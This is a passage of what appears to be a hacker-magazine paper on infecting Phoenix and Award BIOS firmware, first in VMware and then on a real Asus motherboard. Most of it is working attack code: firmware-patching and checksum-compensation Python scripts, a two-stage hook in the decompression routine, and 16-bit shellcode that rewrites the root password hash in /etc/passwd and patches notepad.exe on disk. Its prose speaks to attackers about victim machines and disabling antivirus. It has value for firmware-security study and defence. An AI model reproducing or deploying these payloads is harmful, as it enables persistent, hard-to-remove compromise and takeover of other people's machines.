The first module of the BIOS is called Bootblock, and it's in charge of the POST (Power‑on self‑test) and Emergency boot procedures. POST is the common term for a computer, router or printer's pre‑boot sequence. It has to test and initialize almost all the different hardware components in the system to make sure everything is working properly.

The modern BIOS has a modular structure, which means that there are several modules integrated on the same firmware, each one in charge of a different specific task; from hardware initialization to security measures.

Each module is compressed, therefore there is a decompression routine in charge of the decompression and validation of the others modules that will be subsequently executed.

After decompression, some other hardware is initialized, such as PCI Roms (if needed) and at the end, it reads the sector 0 of the hard drive (MBR) looking for a boot loader to start loading the Operating System.

‑‑‑[2.2 ‑ Firmware file structure

As we said before, the BIOS firmware has a modular structure. When stored in a normal plain file, it is composed of several LZH compressed modules, each of them containing an 8 bit checksum.

However, not all the modules are compressed, a few modules like the Bootblock and the Decompression routine are obviously uncompressed because they are a fundamental piece of the booting process and must perform the decompression of the other modules. Further, we will see why this is so convenient for our purposes.

Here we have the output of Phnxdeco (available in the Debian repositories), an open source tool to parse and analyze the Phoenix BIOS Firmware ROMs (that we'll going to extract at 3.1.1):

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Class.Instance (Name) Packed ‑‑‑> Expanded Compression Offse |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

B.03 ( BIOSCODE) 06DAF (28079) => 093F0 ( 37872) LZINT ( 74%) 446DFh B.02 ( BIOSCODE) 05B87 (23431) => 087A4 ( 34724) LZINT ( 67%) 4B4A9h B.01 ( BIOSCODE) 05A36 (23094) => 080E0 ( 32992) LZINT ( 69%) 5104Bh C.00 ( UPDATE) 03010 (12304) => 03010 ( 12304) NONE (100%) 5CFDFh X.01 ( ROMEXEC) 01110 (04368) => 01110 ( 4368) NONE (100%) 6000Ah T.00 ( TEMPLATE) 02476 (09334) => 055E0 ( 21984) LZINT ( 42%) 63D78h S.00 ( STRINGS) 020AC (08364) => 047EA ( 18410) LZINT ( 45%) 66209h E.00 ( SETUP) 03AE6 (15078) => 09058 ( 36952) LZINT ( 40%) 682D0h M.00 ( MISER) 03095 (12437) => 046D0 ( 18128) LZINT ( 68%) 6BDD1h L.01 ( LOGO) 01A23 (06691) => 246B2 (149170) LZINT ( 4%) 6EE81h L.00 ( LOGO) 00500 (01280) => 03752 ( 14162) LZINT ( 9%) 708BFh X.00 ( ROMEXEC) 06A6C (27244) => 06A6C ( 27244) NONE (100%) 70DDAh B.00 ( BIOSCODE) 001DD (00477) => 0D740 ( 55104) LZINT ( 0%) 77862h *.00 ( TCPA_*) 00004 (00004) => 00004 ( 004) NONE (100%) 77A5Ah D.00 ( DISPLAY) 00AF1 (02801) => 00FE0 ( 4064) LZINT ( 68%) 77A79h G.00 ( DECOMPCODE) 006D6 (01750) => 006D6 ( 1750) NONE (100%) 78585h A.01 ( ACPI) 0005B (00091) => 00074 ( 116) LZINT ( 78%) 78C76h A.00 ( ACPI) 012FE (04862) => 0437C ( 17276) LZINT ( 28%) 78CECh B.00 ( BIOSCODE) 00BD0 (03024) => 00BD0 ( 3024) NONE (100%) 7D6AAh

We can see here the different parts of the Firmware file, containing the DECOMPCODE section, where the decompression routine is located, as well as the other not‑covered‑in‑this‑paper sections.

‑‑‑[2.3 ‑ Update/Flashing process

The BIOS software is not so different from any other software. It's prone to bugs in the same way as other software is.

Newer versions come out adding support for new hardware, features and fixing bugs, etc. But the flashing process could be very dangerous on a real machine. The BIOS is a fundamental component of the computer. It's the first piece of code executed when a machine is turned on. This is why we have to be very carefully when doing this kind of things. A failed BIOS update can ‑and probably will‑ leave the machine unresponsive. And that just sucks.

That is why it's so important to have some testing platform, such as VMWare, at least for a first approach, because, as we'll see, there are a lot of differences between the vmware version vs. the real hardware version.

‑‑‑‑‑‑[ 3.‑ BIOS Infection

‑‑‑[3.0 ‑ Initial setup

‑‑‑[3.1 ‑ VMWare's (Phoenix) BIOS modification

First, we have to obtain a valid VMWARE BIOS firmware to work on.

In order to read the EEPROM where the BIOS firmware is stored we need to run some code in kernel mode to let us send and receive data directly to the southbridge through the IO Ports. To do this, we also need to know some specific data about the current hardware. This data is usually provided by the vendor. Furthermore, almost all motherboard vendors provide some tool to update the BIOS, and very often, they have an option to backup or dump the actual firmware.

In VMWare we can't use this kind of tools, because the emulated hardware doesn't have the same functionality as the real hardware. This makes sense... why would someone would like to update the VMWare BIOS from inside...?

‑‑‑[3.1.1 ‑ Dumping the VMWare BIOS

When we started this, it was really helpful to have the embedded gdb server that VMWare offers. This let us debug and understand what was happening.

So in order to patch and modify some little pieces of code to start testing, we used some random byte arrays as patterns to find the BIOS in memory.

Doing this we found that there is a little section of almost 256kb in vmware‑vmx, the main vmware executable, called .bios440

( that in our vmware version is located between the file offset 0x6276c7‑0x65B994 ) that contains the whole BIOS firmware, in the same way as it is contained in a normal file ready to flash.

You can use objdump to see the sections of the file:

objdump ‑h vmware‑vmx

And you can dump it to a file using the objcopy tool:

objcopy ‑j .bios440 ‑O binary ‑‑set‑section‑flags .bios440=a \ vmware‑vmx bios440.rom.zl

Umm... this means that... if we have root privileges in the victim machine, we could use our amazing power to modify the vmware‑vmx executable, inserting our own infected bios and it will be executed each time a vmware starts, for every vmware of the computer. Sweet!

But, there are simpler ways to accomplish this task. We are going to modify it a lot of times and it is not going to work most of the times so.. the simpler, the better.

‑‑‑[3.1.2 ‑ Setting up VMWARE to load an alternate BIOS

We found that VMWare offers a very practical way to let the user provide an specific BIOS firmware file directly through the .VMX configuration file.

This not‑so‑known tag is called "bios440.filename" and it let us avoid using VMWare's built‑in BIOS and instead allows us to specify a BIOS file to use.

You have to add this line in your .VMX file:

bios440.filename = "path/to/file/bios.rom"

And, voila!, now you have another BIOS firmware running in your VM, and in combination with:

debugStub.listen.guest32 = "TRUE" or debugStub.listen.guest64 = "TRUE"

that will leave the VMWare's gdb stub waiting for your connection on localhost on port 8832. You will end up with an excellent ‑and completely debuggable‑ research scenery. Nice huh?

Other important hidden tags that can be useful to define are:

bios.bootDelay = "3000" # To delay the boot X

miliseconds

debugStub.hideBreakpoints = "TRUE" # Allows gdb breakpoints

to work

debugStub.listen.guest32.remote = "TRUE" # For debugging from

another machine (32bit)

debugStub.listen.guest64.remote = "TRUE" # For debugging from

another machine (64bit)

monitor.debugOnStartGuest32 = "TRUE" # This will halt the VM

at the very first

instruction at 0xFFFF0

‑‑‑[3.1.3 ‑ Unpacking the firmware

As we mentioned before, some of the modules are compressed with an LZH variation. There are a few available tools to extract and decompress each individual module from the Firmware file. The most used are Phnxdeco and Awardeco (two excellent linux GPL tools) together with Phoenix BIOS Editor and Award BIOS editor (some non GPL tools for windows).

You can use Phoenix BIOS editor over linux using wine if you want. It will extract all the modules in a /temp directory inside the Phoenix BIOS editor ready to be open with your preferred disassembler.

The great news about Phoenix BIOS Editor is that it can also rebuild the main firmware file. It can recompress and integrate all the different decompressed modules to let it just as it was at the beggining.

The only thing is that it was done for older Phoenix BIOSes, and it misses the checksum so we will have to do it by ourselves as we'll see at 3.2.2.1

Some of these tasks are done by isolated tools that can be invoked directly from a command line, which is very practical in order to automate the process with simple scripts.

‑‑‑[3.1.4 ‑ Modification

So, here we are. We have all the modules unpacked, and the possibility of modifying them, and then rebuild them in a fully working BIOS flash update.

The first thing to deal with now is 'where to patch'. We can place a hook in almost any place to get our code executed but we have to think things through before deciding on where to patch.

At the beginning we thought about hooking the first instruction executed by the CPU, a jump at 0xF000:FFF0. It seemed to be the best option because it is always in the same place, and is easy to find but we have to take into consideration the execution context. To have our code running there should imply doing all the hardware initialization by ourselves (DRAM, Northbridge, Cache, PCI, etc.)

For example, if we want to do things like accessing the hard drive we need to be sure that when our code gets executed it already has access to the hard drive.

For this reason, and because it doesn't change between different versions, we've chosen to hook the decompression routine. It is also very easy to find by looking for a pattern. It is uncompressed, and is called many times during the BIOS boot sequence letting us check if all the needed services are available before doing the real stuff.

Here we have a dump script to quickly extract the firmware modules, assemble the payloads, inject it, and reassemble the modified firmware file.

PREPARE.EXE and CATENATE.EXE are propietary tools to build phoenix firmware that you can find inside the Phoenix BIOS Editor and packaged with other flashing tools.

In later versions of this script this tools arent needed anymore. (as seen at 3.2.2.1)

#!/usr/bin/python import os,struct

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Decomp processing ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#assemble the whole code to inject

os.system('nasm ./decomphook.asm')

decomphook = open('decomphook','rb').read()

print "Leido hook: %d bytes" % len(decomphook)

minihook = '\x9a\x40\x04\x3b\x66\x90' # call near +0x430

#Load the decompression rom

decorom = open('DECOMPC0.ROM.orig','rb').read()

#Add the hook

hookoffset=0x23

decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]

#Add the shellcode

decorom+="\x90"*100+decomphook

decorom=decorom+'\x90'*10

#recalculate the ROM size decorom=decorom[:0xf]+struct.pack("<H",len(decorom)‑0x1A)+decorom[0x11:]

#Save the patched decompression rom out=open('DECOMPC0.ROM','wb')

out.write(decorom)

out.close()

#Compile

print "Prepare..."

os.system('./PREPARE.EXE ./ROM.SCR.ORIG')

print "Catenate..."

os.system('./CATENATE.EXE ./ROM.SCR.ORIG')

os.system('rm *.MOD')

‑‑‑[3.1.5 ‑ Payload

Before talking about the payload, we have to resolve *where*

are we going to store our payload, and this is not a trivial task. We found that there is a lot of padding space at the end of the decompression routine that, when allocated, will be

used as a buffer to hold the decompressed code. Trashing in

this way, any code that we can store there. This adds a bit of complexity to the payload, because it makes us split the shellcode in two stages.

The first one gets executed by setting a very typical hook in the prolog of the decompression routine. A simple relative

call that redirects the execution flow to our code and moves

the second stage to a safe hardcoded place that we know

remains unused during the whole boot process. Then, updates

the hook making it point to the new address and executes the instructions smashed by the original call

________________________

|

| HOOK +‑>‑‑‑.

|.......................

.‑‑‑>|

| |

| | DECOMPRESSION BLOCK | |

| |

| |

| |_______________________

| |

| | First Stage Payload | | | (Moves second stage | | | to a safe place | | | and updates the hook) |

| |

| |.......................

`‑‑<‑+ Code smashed by hook |

|_______________________

|

| Second Stage Payload |

|

|

|_______________________

Lets see the code:

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BITS 16

;Extent to search (in 64K sectors, aprox 32 MB)

%define EXTENT 10

start_mover:

;save regs

;jmp start_mover

pusha

pushf

; set dst params to move the shellcode

xor ax, ax

xor di, di

xor si, si

push cs

pop ds

mov es, ax ; seg_dst

mov di, 0x8000 ; off_dst

mov cx, 0xff ; code_size

; get_eip to have the 'source' address

call b

b:

pop si

add si, 0x25 (Offset needed to reach the second stage payload) rep movsw

mov ax, word [esp+0x12] ; get the caller address to patch the original hook sub ax, 4

mov word [eax], 0x8000 ; new_hook offset

mov word [eax+2], 0x0000 ; new_hook segment

; restore saved regs

popf

popa

; execute code smashed by 'call far'

;mov es,ax

mov bx,es

mov fs,bx

mov ds,ax

retf

;Here goes a large nopsled and next, the second stage payload

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The second stage, now residing in an unused space, has got to

have some ready signal to know if the services that we want to

use are available..

‑‑‑[3.1.5.1 ‑ The Ready Signal

In the VMWare we've seen that when our second‑stage payload is called, and the IVT is already initialized, we have all we need to do our stuff. Based on that we chose to use the IVT initialization as our ready signal. This is very simple because it's always mapped at 0000:0000. Every time the shellcode gets executed first checks if the IVT is initialized with valid pointers, if it is the shellcode is executed, if not it returns without doing anything.

‑‑‑[3.1.5.1 ‑ The Real stuff

Now we have our code executed and we know that we have all the services we need so what are we going to do? We can't interact with the OS from here.

In this moment the operating system is just a char array sitting on the disk. But hey! wait, we have access to the disk through the int 13h (Low Level Disk Services).. we can modify it in any way we want!. Ok, let's do it.

In a real malicious implementation, you would like to code some sort of basic driver to correctly parse the different filesystem structures, at least for FAT & NTFS (maybe reusing GRUB or LILO code?) but for this paper, just as Proof of Concept, we will use the Int 13h to sequentially read the disk in raw mode. We will look for a pattern in a very stupid way and it will work, but doing what we said before, in a common scenery, will be possible to modify, add and delete any desired file of the disk allowing an attacker to drop driver modules, infect files, disable the antivirus or anti rootkits, etc.

This is the shellcode that we've used to walk over the whole

disk matching the pattern: "root:$" in order to find the root entry of the /etc/passwd file.

Then, we replace the root hash with our own hash, setting the password "root" for the root user.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

; The shellcode doesn't have any type of optimization, we tried to keep it ; simple, 'for educational purposes'

; 16 bit shellcode

; use LBA disk access to change root password to 'root'

BITS 16

push es

push ds

pushad

pushf

; Get code address

call gca

gca: pop bx

; construct DAP

push cs

pop ds

mov si,bx

add si,0x1e0 ; DAP 0x1e0 from code

mov cx,bx

add cx,0x200 ; Buffer pointer 0x200 from code

mov byte [si],16 ;size of SAP

inc si

mov byte [si],0 ;reserved

inc si

mov byte [si],1 ;number of sectors

inc si

mov byte [si],0 ;unused

inc si

mov word [si],cx ;buffer segment

add si,2

mov word [si],ds;buffer offset

add si,2

mov word [si],0 ; sector number

add si,2

mov word [si],0 ; sector number

add si,2

mov word [si],0 ; sector number

add si,2

mov word [si],0 ; sector number

mov di,0

mov si,0

mainloop:

push di

push si

;‑‑‑‑‑‑‑‑ Inc sector number

mov cx,3

mov si,bx

add si,0x1e8

loopinc:

mov ax,word [si]

inc ax

mov word [si],ax

cmp ax,0

jne incend

add si,2

loop loopinc

incend:

;‑‑‑‑‑‑‑‑ LBA extended read sector

mov ah,0x42 ; call number

mov dl,0x80 ; drive number 0x80=first hd

mov si,bx

add si,0x1e0

int 0x13

jc mainend

nop

nop

nop

;‑‑‑‑‑‑‑‑ Search for 'root'

mov di,bx

add di,0x200 ; pointer to buffer

mov cx,0x200 ; 512 bytes per sector

searchloop:

cmp word [di],'ro'

jne notfound

cmp word [di+2],'ot'

jne notfound

cmp word [di+4],':$'

jne notfound

jmp found ; root found!

notfound:

inc di

loop searchloop

endSearch:

pop si

pop di

inc di

cmp di,0

jne mainloop

inc si

cmp si,3

jne mainloop

mainend:

popf

popad

pop ds

pop es

int 3

found:

;replace password with: ;root:$2a$08$Grx5rDVeDJ9AXXlXOobffOkLOnFyRjk2N0/4S8Yup33sD43wSHFzi: ;Yes we could've used rep movsb, but we kinda suck.

mov word[di+6],'2a'

mov word[di+8],'$0'

mov word[di+10],'8$'

mov word[di+12],'Gr'

mov word[di+14],'rD'

mov word[di+16],'Ve'

mov word[di+18],'DJ'

mov word[di+20],'9A'

mov word[di+22],'XX'

mov word[di+24],'lX'

mov word[di+26],'Oo'

mov word[di+28],'bf'

mov word[di+30],'fO'

mov word[di+32],'kL'

mov word[di+34],'On'

mov word[di+36],'Fy'

mov word[di+38],'Rj'

mov word[di+40],'k2'

mov word[di+42],'N0'

mov word[di+44],'/4'

mov word[di+46],'S8'

mov word[di+48],'Yu'

mov word[di+52],'p3'

mov word[di+54],'3s'

mov word[di+56],'D4'

mov word[di+58],'3w'

mov word[di+60],'SH'

mov word[di+62],'Fz'

mov word[di+64],'i:'

;‑‑‑‑‑‑‑‑ LBA extended write sector

mov ah,0x43 ; call number

mov al,0 ; no verify

mov dl,0x80 ; drive number 0x80=first hd

mov si,bx

add si,0x1e0

int 0x13

jmp mainend

This other is basically the same payload, but in this case we walk over the whole disk trying to match a pattern inside notepad.exe, and then we inject a piece of code with a simple call to MessaBoxA and ExitProcess to finish it gracefully.

hook_start:

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

;jmp hook_start

;mov bx,es

;mov fs,bx

;mov ds,ax

;retf

pusha

pushf

xor di,di

mov ds,di

; check to see if int 19 is initialized

cmp byte [0x19*4],0x00

jne ifint

noint:

;jmp noint ; loop to debug

popf

popa

;mov es, ax

mov bx, es

mov fs, bx

mov ds, ax

retf

ifint:

;jmp ifint ; loop to debug

cmp byte [0x19*4],0x46

je noint

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

initShellcode:

;jmp initShellcode ; DEBUG

cli

push es

push ds

pushad

pushf

; Get code address

call gca

gca:

pop bx

;‑‑‑‑‑‑‑‑‑‑ Set screen mode

mov ax,0x0003

int 0x10

;‑‑‑‑‑‑‑‑‑‑ construct DAP

push cs

pop ds

mov si,bx

add si,0x2e0 ; DAP 0x2e0 from code

mov cx,bx

add cx,0x300 ; Buffer pointer 0x300 from code

mov byte [si],16 ;size of SAP

inc si

mov byte [si],0 ;reserved

inc si

mov byte [si],1 ;number of sectors

inc si

mov byte [si],0 ;unused

inc si

mov word [si],cx ;buffer segment

add si,2

mov word [si],ds;buffer offset

add si,2

mov word [si],0 ; sector number

add si,2

mov word [si],0 ; sector number

add si,2

mov word [si],0 ; sector number

add si,2

mov word [si],0 ; sector number

mov di,0

mov si,0

;‑‑‑‑‑‑‑‑ Function 41h: Check Extensions

push bx

mov ah,0x41 ; call number

mov bx,0x55aa;

mov dl,0x80 ; drive number 0x80=first hd

int 0x13

pop bx

jc mainend_near

;‑‑‑‑‑‑‑‑ Function 00h: Reset Disk System

mov ah, 0x00

int 0x13

jc mainend_near

jmp mainloop

mainend_near:

jmp mainend

mainloop:

cmp di,0

jne nochar

;‑‑‑‑‑‑‑ progress bar (ABCDE....)

push bx

mov ax,si

mov ah,0x0e

add al,0x41

mov bx,0

int 0x10

pop bx

nochar:

push di

push si

;jmp incend ;

;‑‑‑‑‑‑‑‑ Inc sector number

mov cx,3

mov si,bx ; bx = curr_pos

add si,0x2e8 ; +2e8 LBA Buffer

loopinc:

mov ax,word [si]

inc ax

mov word [si],ax

cmp ax,0

jne incend

add si,2

loop loopinc

incend:

LBA_read:

;jmp int_test

;‑‑‑‑‑‑‑‑ LBA extended read sector

mov ah,0x42 ; call number

mov dl,0x80 ; drive number 0x80=first hd

mov si,bx

add si,0x2e0

int 0x13

jnc int13_no_err

;‑‑‑‑‑‑‑‑ Write error character

push bx

mov ax,0x0e45

mov bx,0x0000

int 0x10

pop bx

int13_no_err:

;‑‑‑‑‑‑‑‑ Search for 'root'

mov di,bx

add di,0x300 ; pointer to buffer

mov cx,0x200 ; 512 bytes per sector

searchloop:

cmp word [di],0x706a

jne notfound

cmp word [di+2],0x9868

jne notfound

;debugme:

; je debugme

cmp word [di+4],0x0018

jne notfound

cmp word [di+6],0xe801

jne notfound

jmp found ; root found!

notfound:

inc di

loop searchloop

endSearch:

pop si

pop di

inc di

cmp di,0

jne mainloop

inc si

cmp si,EXTENT ;‑‑‑‑‑‑‑‑‑‑‑‑ 10x65535 sectors to read jne mainloop

jmp mainend

exit_error:

pop si

pop di

mainend:

popf

popad

pop ds

pop es

sti

popf

popa

mov bx, es

mov fs, bx

mov ds, ax

retf

writechar:

push bx

mov ah,0x0e

mov bx,0x0000

int 0x10

pop bx

ret

found:

mov al,0x46

call writechar

;mov word[di], 0xfeeb ; Infinite loop ‑ Debug

mov word[di], 0x00be

mov word[di+2], 0x0100

mov word[di+4], 0xc700

mov word[di+6], 0x5006

mov word[di+8], 0x4e57

mov word[di+10], 0xc744

mov word[di+12], 0x0446

mov word[di+14], 0x2121

mov word[di+16], 0x0100

mov word[di+18], 0x016a

mov word[di+20], 0x006a

mov word[di+22], 0x6a56

mov word[di+24], 0xbe00

mov word[di+26], 0x050b

mov word[di+28], 0x77d8

mov word[di+30], 0xd6ff

mov word[di+32], 0x00be

mov word[di+34], 0x0000

mov word[di+36], 0x5600

mov word[di+38], 0xa2be

mov word[di+40], 0x81ca

mov word[di+42], 0xff7c

mov word[di+44], 0x90d6

;‑‑‑‑‑‑‑‑ LBA extended write sector

mov ah,0x43 ; call number

mov al,0 ; no verify

mov dl,0x80 ; drive number 0x80=first hd

mov si,bx

add si,0x2e0

int 0x13

jmp notfound; continue searching

nop

‑‑‑[3.2 ‑ Real (Award) BIOS modification

VMWare turned to be an excellent BIOS research and development platform. But to complete this research, we have to attack a real system. For this modification we used a common motherboard (Asus A7V8X‑MX), with an Award‑Phoenix 6.00 PG BIOS, a very popular version.

‑‑‑[3.2.1 ‑ Dumping the real BIOS firmware

FLASH chips are fairly compatible, even interchangeable. But they are connected to the motherboard in many different ways (PCI, ISA bridge, etc.), and that makes reading them in a generic way a non‑trivial problem. How can we make a generic rootkit if we can't even find a way to reliably read a flash chip? Of course, a hardware flash reader is a solution, but at the time we didn't have one and is not really an option if you want to remotely infect a BIOS without physical access.

So we started looking for software‑based alternatives. The first tool that we found worked fine, which was the Flashrom utility from the coreboot open‑source project, see [COREBOOT] (Also available in the Debian repositories). It contains an extensive database of chips and read/write methods. We found that it almost always works, even if you have to manually specify the IC model, as it's not always automatically detected.

$ flashrom ‑r mybios.rom

Generally, the command above is all that you need. The bios should be in the mybios.rom file.

A trick that we learned is that if it says that it can't detect the Chip, you should do a script to try every known chip. We have yet to find BIOS that can't be read using this technique. Writing is slightly more difficult, as Flashrom needs to correctly identify the IC to allow writing to it. This limitation can by bypassed modifying the source code but beware that you can fry your motherboard this way.

We also used flashrom as a generic way to upload the modified BIOS back to the motherboard.

‑‑‑[3.2.2 ‑ Modification

Once we have the BIOS image on our hard disk, we can start the process of inserting the malicious payload.

When modifying a real bios, and in particular an award/phoenix BIOS, we faced some big problems:

1) Lack of documentation of the bios structure

2) Lack of packing/unpacking tools

3) No easy way to debug real hardware.

There are many free tools to manipulate BIOS, but as it always happen with proprietary formats, we couldn't find one that worked with our particular firmware. We can cite the Linux awardeco and phnxdeco utilities as a starting point, but they tend to fail on modern BIOS versions.

Our plan to achieve execution was:

1) We must insert arbitrary modifications (this implies the knowledge of checksum positions and algorithms) 2) A basic hook should be inserted on a generic, easy to find portion of the BIOS.

3) Once the generic hook is working, then a Shellcode could be inserted.

‑‑‑[3.2.2.0 ‑ Black Screen of Death

You have to know that you're going to trash a lot of BIOS chips in this process. But most BIOSes have a security mechanism to restore a damaged firmware. RTFM (Read the friendly manual of the motherboard)

If this doesn't work, you can use the chip hot‑swapping technique: You boot with a working chip, then you hot‑swap it with the damaged one, and reflash. Of course, for this technique you will need to have another working backup BIOS.

‑‑‑[3.2.2.1 ‑ Changing one bit at time

Our initial attempts were unsuccessful and produced mostly unbootable systems. Basically we ignored how many checksums the bios had, and you must patch everyone of them or face the terrifying "BIOS CHECKSUM ERROR" black screen of death. The black screen of death got us thinking, it says "CHECKSUM" so, it must be some kind of addition compared to a number. And this kind of checks can be easily bypassed, injecting a number at some point that will *compensate* the addition. Isn't this the reason why CRC was invented after all? It turns out that all the checksums were only 8‑bits, and by touching only one byte at the end of the shellcode, all the checksums were compensated. You can find the very simple algorithm to do this on the attachments, inside this python script:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

modifBios.py

#!/usr/bin/python

import os,sys,math

# Usage

if len(sys.argv)<3:

print "Modify and recalculate Award BIOS checksum" print "Usage: %s <original bios> <assembly shellcode file>" % (sys.argv[0])

exit(0)

# assembly the file

scasm = sys.argv[2]

sccom = "%s.bin" % scasm

os.system("nasm %s ‑o %s " % (scasm,sccom) )

shellcode = open(sccom,'rb').read()

shellcode = shellcode[0xb55:] # skip the NOPs

os.unlink(sccom)

print ("Shellcode lenght: %d" % len(shellcode))

# Make a copy of the original BIOS

modifname = "%s.modif" % sys.argv[1]

origname = sys.argv[1]

os.system("cp %s %s" % (origname,modifname) )

#merge shellcode with original flash

insertposition = 0x3af75

modif = open(modifname,'rb').read()

os.unlink(modifname)

newbios=modif[:insertposition]

newbios+=shellcode newbios+=modif[insertposition+len(shellcode):]

modif=newbios

#insert hook

hookposition = 0x3a41d

hook="\xe9\x55\x0b" # here is our hook,

# at the end of the bootblock

newbios=modif[:hookposition]

newbios+=hook

newbios+=modif[hookposition+len(hook):]

modif=newbios

#read original flash

orig = open(sys.argv[1],'rb').read()

# calculate original and modified checksum

# Sorry, this script is not *that* generic

# you will have to harvest these values

# manually, but you can craft an automatic

# one using pattern search.

# These offsets are for the Asus A7V8X‑MX

# Revision 1007‑001

start_of_decomp_blk=0x3a400

start_of_compensation=0x3affc

end_of_decomp_blk=0x3b000

ochksum=0 # original checksum

mchksum=0 # modified checksum

for i in range(start_of_decomp_blk,start_of_compensation): ochksum+=ord(orig[i])

mchksum+=ord(modif[i])

print "Checksums: Original= %08X Modified= %08X" % (ochksum,mchksum)

# calculate difference

chkdiff = (mchksum & 0xff) ‑ (ochksum & 0xff)

print "Diff : %08X" % chkdiff

# balance the checksum

newbios=modif[:start_of_compensation]

newbios+=chr( (0x1FF‑chkdiff) & 0xff ) newbios+=modif[start_of_compensation+1:]

mchksum=0 # modified checksum

ochksum=0 # modified checksum

for i in range(start_of_decomp_blk,end_of_decomp_blk): ochksum+=ord(orig[i])

mchksum+=ord(newbios[i])

print "Checksum: Original = %08X Final= %08X" % (ochksum,mchksum) print "(Please check the last digit, must be the same in both checkums)"

newbiosname=sys.argv[2]+".compensated"

w=open(newbiosname,'wb')

w.write(newbios)

w.close()

print "New bios saved as %s" % newbiosname

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

With this technique we successfully changed one bit, then one byte, then multiple bytes on a uncompressed region of the BIOS. The first step was accomplished.

‑‑‑[3.2.2.1 ‑ Inserting the Hook

The hook is in exactly the same place: the decompressor block. We also jumped to the same place that in the VMWARE code injection: In the end of the decompressor block generally there is enough space to do a pretty decent first stage shellcode. It's easy to find. Hint: look for "= Award Decompression Bios =" In Phoenix bios, is the block marked as "DECOMPCODE" (using phnxdeco or any other tool). It almost never changes. It works.

There are a couple of steps that you must do to ensure that you are hooking correctly. Firstly, insert a basic hook that only jumps forward, and then returns. Then, modify it to cause an infinite loop. (we don't have a debugger so we must rely on these horrible techniques) If you can control when the computers boots correctly and when it just locks up, congratulations. Now you have your code stealthy executing from the BIOS.

‑‑‑[3.2.3 ‑ Payload

So now, you have complete control of the BIOS. Then you unveil your elite 16‑bit shellcoding skills and try to use the venerable INT 10h to print "I PWNED J00!" on the screen and then proceed to use INT 13h to write evil things to the hard disk.

Not that fast. You will be greeted with the black screen of fail.

What happens is that you still don't have complete control of the BIOS. First and foremost, as we did on the VMWARE hook, you are gaining execution multiple times during the boot process. The first time, the disk is not spinning, the screen is still turned off and most surprisingly, the Interruption Vector Table is not initialized. This sounds very cool but it is a big problem. You can't write to the disk if it's not spinning, and you can use an interrupt if the IVT is not initialized.

You must wait. But how do you know when to execute? You again need some sort of ready‑to‑go signal.

‑‑‑[3.2.3.1 ‑ The Ready Signal

In the VMWARE, we used the contents of the IVT as a ready signal. The shellcode tested if the IVT was ready simply by checking if it had the correct values. This was very easy because in real‑mode, the IVT is always in the same place (0000:0000, easy to remember by the way). This technique basically sucks, because you really can't get less generic than this. The pointers on the IVT change all the time, even between versions of the same BIOS manufacturer. We need a better, more "works‑on‑other‑computers‑apart‑from‑mine" technique.

In short, this is the solution and it works great:

Check if C000:0000 contains the signature AA55h.

If that conditions is true, then you can execute any interruption. The reason is that in this precise position the VGA BIOS is loaded on all PCs. And AA55h is a signature that tell us that the VGA BIOS is present. It's fine to assume that if the VGA BIOS has been loaded, then the IVT has been initialized. Warning: Surely the hard disk is not spinning yet! (It's slow) but now you can check for it with the now non‑crashing interruption 13h, using function 41h to check for LBA extensions and then trying to do a disk reset, using function 00h. You can see an example of this on the shellcode of the section 3.1.5.1

The rest is history. You can use int 13h with LBA to check for the disk, if it's ready, then you insert a disk‑stage rootkit on it, or insert an SMBIOS rootkit (see [PHRACK65]), or bluepill, or the I‑Love‑You virus, or whatever rocks you. Your code is now immortal.

For the record, here is a second shellcode:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;skull.asm please use nasm to assemble

BITS 16

back:

TIMES 0x0b55 db 0x90

begin2:

pusha

pushf

push es

push ds

push 0xc000

pop ds

cmp word [0],0xaa55

je print

volver:

pop ds

pop es

popf

popa

pushad

push cx

jmp back

print:

jmp start

;message

; 123456789

msg: db ' .‑‑‑.',13,10,\

'/ \',13,10,\

'|(\ /)|',13,10,\

'(_ o _)',13,10,\

' |===|',13,10,\

' `‑.‑`',13,10

times 55‑$+msg db ' '

start:

;geteip

call getip

getip:

pop dx

;init video

mov ax,0003

int 0x10

;video write

mov bp,dx

sub bp,58 ; message

;write string

mov ax,0x1300

mov bx,0x0007

mov cx,53

mov dx,0x0400

push cs

pop es

int 0x10

call sleep

jmp volver

sleep:

mov cx, 0xfff

l1:

push cx

mov cx,0xffff

l2:

loop l2

pop cx

loop l1

ret

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑[ 4.‑ BIOS32 (Kernel direct infection)

Now you have your bios rootkit executing in BIOS, but being in BIOS sucks from an attacker's point of view. You ideally want to be in the kernel of the Operative System. That is why you should do something like drop a shellcode to hard‑disk or doing an SMBIOS‑rootkit. But what if the hard‑disk is encrypted? Or if the machine really doesn't have a hard disk and boots from the network?

Fear not, because this section is for you. There is the misconception that the BIOS is never used after boot, but this is untrue. Operative Systems make BIOS calls for many reasons, like for example, setting video modes (Int 10h) and doing other funny things like BIOS‑32 calls.

